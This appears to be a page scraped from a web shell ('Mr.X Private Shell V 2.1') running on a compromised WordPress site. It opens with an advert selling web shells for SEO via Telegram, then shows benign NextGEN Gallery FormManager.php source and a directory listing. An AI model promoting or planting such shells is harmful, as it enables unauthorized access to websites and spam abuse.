__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Imagely\NGG\Admin;
class FormManager {
protected static $instance = null;
protected $forms = [];
/**
* @return FormManager
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new FormManager();
}
return self::$instance;
}
/**
* Moves the registration of the first form so that it follows the second form.
*
* @param string $type Which form grouping to manipulate.
* @param string $form_name The name of the form to move.
* @param string $form_to_follow_name The form that $form_name will follow.
* @return void
*/
public function move_form_to_follow_other_form( string $type, string $form_name, string $form_to_follow_name ) {
if ( ! is_array( $this->forms[ $type ] ) ) {
return;
}
$index_one = array_search( $form_name, $this->forms[ $type ], true );
$index_two = array_search( $form_to_follow_name, $this->forms[ $type ], true );
if ( ! $index_one || ! $index_two ) {
return;
}
$value = $this->forms[ $type ][ $index_one ];
unset( $this->forms[ $type ][ $index_one ] );
array_splice( $this->forms[ $type ], $index_two + 1, 0, $value );
}
/**
* @param string $type
* @param array|string $form_names
* @return int Results of get_form_count($type)
*/
public function add_form( $type, $form_names ) {
if ( ! isset( $this->forms[ $type ] ) ) {
$this->forms[ $type ] = [];
}
if ( ! is_array( $form_names ) ) {
$form_names = [ $form_names ];
}
foreach ( $form_names as $form ) {
$this->forms[ $type ][] = $form;
}
return $this->get_form_count( $type );
}
/**
* @param string $type
* @param bool $instantiate (optional).
* @return array
*/
public function get_forms( $type, $instantiate = false ) {
$retval = [];
if ( isset( $this->forms[ $type ] ) ) {
if ( ! $instantiate ) {
$retval = $this->forms[ $type ];
} else {
foreach ( $this->forms[ $type ] as $context ) {
if ( class_exists( '\C_Component_Registry' ) ) {
$retval[] = \C_Component_Registry::get_instance()->get_utility( 'I_Form', $context );
}
}
}
}
return $retval;
}
/**
* @param string $type Form type.
* @return int
*/
public function get_form_count( $type ) {
return ( isset( $this->forms[ $type ] ) ) ? count( $this->forms[ $type ] ) : 0;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Notifications | Folder | 0755 |
|
|
| Views | Folder | 0755 |
|
|
| AMNotifications.php | File | 18.81 KB | 0644 |
|
| About.php | File | 34.86 KB | 0644 |
|
| App.php | File | 21.34 KB | 0644 |
|
| Ecommerce_Preview.php | File | 1.81 KB | 0644 |
|
| FormManager.php | File | 2.29 KB | 0644 |
|
| MenuNudge.php | File | 6.98 KB | 0644 |
|
| Onboarding_Wizard.php | File | 21.4 KB | 0644 |
|
| RequirementsManager.php | File | 4.34 KB | 0644 |
|
| RequirementsNotice.php | File | 1.38 KB | 0644 |
|
| Shortcode_Preview.php | File | 6.7 KB | 0644 |
|